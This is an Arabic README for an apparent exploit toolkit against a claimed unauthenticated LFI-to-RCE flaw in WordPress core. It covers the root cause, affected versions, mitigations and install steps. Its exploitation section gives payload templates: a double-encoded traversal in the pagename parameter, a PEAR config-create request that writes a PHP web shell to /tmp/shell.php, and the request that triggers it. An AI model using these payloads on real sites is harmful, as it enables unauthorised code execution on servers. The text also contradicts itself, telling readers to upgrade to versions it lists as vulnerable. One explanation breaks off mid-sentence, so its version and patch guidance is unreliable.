CVE‑2026‑87902 – مجموعة أدوات LFI→RCE غير المصادق عليها في WordPress

للاستخدام الأخلاقي فقط – اختبار أمني مصرح به
يوفر هذا المستودع أدوات لمتخصصي الأمن المصرح لهم، والفرق الزرقاء، ومختبري الاختراق فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب CFAA (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، وTCK 243/244 (تركيا)، وقوانين مماثلة في جميع أنحاء العالم.

📖 نظرة عامة على الثغرة

CVE‑2026‑87902 هي ثغرة حرجة من نوع اجتياز المسار غير المصادق عليه وتضمين الملفات المحلية (LFI) في نواة WordPress (الإصدارات 4.7.0 حتى 7.1.1) تسمح لمهاجم غير مصادق عليه بتضمين ملفات .php محلية عشوائية عبر معامل الاستعلام pagename، وفي ظروف خادم محددة التصعيد إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر تسلسل ملف PEAR pearcmd.php. درجة CVSS: 9.2 (حرجة). تم الإفصاح عنها بواسطة Robert Ressl عبر برنامج HackerOne الخاص بـ WordPress في يوليو 2026. تم تصحيحها في 7.1.2 في 22 سبتمبر 2026، مع ترقيعات رجعية وصولاً إلى 4.7.

تؤثر الثغرة على كل إصدار WordPress منذ 2016 — عقد من الإصدارات التي اجتازت مراجعة الكود دون اكتشاف. السبب الجذري هو استدعاء تحقق واحد مفقود في أحد أكثر مسارات الكود استخداماً في نظام إدارة المحتوى.

كيف تعمل

1. حل القالب غير المعقم – يبني get_page_template() في wp-includes/template.php مرشحات القالب من متغير الاستعلام pagename. يطبق مسار كود مجاور في نفس الدالة validate_file() لحظر تسلسلات ../، لكن فرع $pagename لا يستدعيه. أي اجتياز في pagename يمر دون فحص.

2. تجاوز الاجتياز المزدوج الترميز – يطبق WordPress sanitize_title_for_query() على pagename، والتي تستبدل النقاط الحرفية (.) بشرطات لمنع الاجتياز. لكن الدالة تعمل على مدخلات مفكوكة الترميز بالفعل ولا تفك الترميز بشكل متكرر. يرسل المهاجم %252e%252e%252f؛ يفك خادم الويب ترميزه مرة واحدة إلى %2e%2e%2f؛ لا يرى المعقم نقاطاً حرفية ويمرره؛ ثم يستدعي get_page_template() الدالة مرة أخرى داخل الدالة، منتجاً .

الإصدارات المتأثرة

• 4.7.0 – 4.7.37 – معرضة للثغرة
• 4.8.0 – 4.8.32 – معرضة للثغرة
• 4.9.0 – 4.9.33 – معرضة للثغرة
• 5.0.0 – 5.0.29 – معرضة للثغرة
• 5.1.0 – 5.1.26 – معرضة للثغرة
• 5.2.0 – 5.2.28 – معرضة للثغرة
• 5.3.0 – 5.3.25 – معرضة للثغرة
• 5.4.0 – 5.4.23 – معرضة للثغرة
• 5.5.0 – 5.5.22 – معرضة للثغرة
• 5.6.0 – 5.6.21 – معرضة للثغرة
• 5.7.0 – 5.7.19 – معرضة للثغرة
• 5.8.0 – 5.8.17 – معرضة للثغرة
• 5.9.0 – 5.9.18 – معرضة للثغرة
• 6.0.0 – 6.0.16 – معرضة للثغرة
• 6.1.0 – 6.1.14 – معرضة للثغرة
• 6.2.0 – 6.2.13 – معرضة للثغرة
• 6.3.0 – 6.3.12 – معرضة للثغرة
• 6.4.0 – 6.4.12 – معرضة للثغرة
• 6.5.0 – 6.5.12 – معرضة للثغرة
• 6.6.0 – 6.6.9 – معرضة للثغرة
• 6.7.0 – 6.7.9 – معرضة للثغرة
• 6.8.0 – 6.8.10 – معرضة للثغرة
• 6.9.0 – 6.9.9 – معرضة للثغرة
• 7.0.0 – 7.0.6 – معرضة للثغرة
• 7.1.0 – 7.1.1 – معرضة للثغرة

الترقيع

• قم بالترقية إلى 4.7.37، أو 4.8.32، أو 4.9.33، أو 5.0.29، أو 5.1.26، أو 5.2.28، أو 5.3.25، أو 5.4.23، أو 5.5.22، أو 5.6.21، أو 5.7.19، أو 5.8.17، أو 5.9.18، أو 6.0.16، أو 6.1.14، أو 6.2.13، أو 6.3.12، أو 6.4.12، أو 6.5.12، أو 6.6.9، أو 6.7.9، أو 6.8.10، أو 6.9.9، أو 7.0.6، أو 7.1.2 أو أحدث.
• إذا لم يكن الترقية ممكناً، أعد تسمية أو احذف دليل page-* في القالب النشط، واضبط register_argc_argv=Off في php.ini، واحظر الاجتياز المزدوج الترميز في معامل pagename على مستوى WAF.

[<->] الأدوات

[</>] مقارنة الميزات

[+] ملخص حالات الاستخدام

[+] التثبيت

git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt

requirements.txt

requests
urllib3

[/] المعاملات

معاملات exploit.py

معاملات safecheck.py

[>] السيناريوهات

🧪 نقطة النهاية وسلسلة الاستغلال

يستخدم الاستغلال نقاط نهاية WordPress والخطوات التالية:

تنسيق الحمولة

# مثال على الاجتياز المزدوج الترميز
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd

# سلسلة PEAR config-create RCE
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php

# تشغيل تضمين PEAR
GET /?page_id=2&pagename={encoded_output_path}

🛡️ الاستخدام المسؤول

• استخدم هذه الأدوات فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
• الوصول غير المصرح به غير قانوني وغير أخلاقي.
• المؤلفون غير مسؤولين عن أي إساءة استخدام.
• اتبع دائماً قوانين ولوائح بلدك.

يُقدَّم هذا البرنامج لأغراض تعليمية واختبار أمني مصرح به فقط.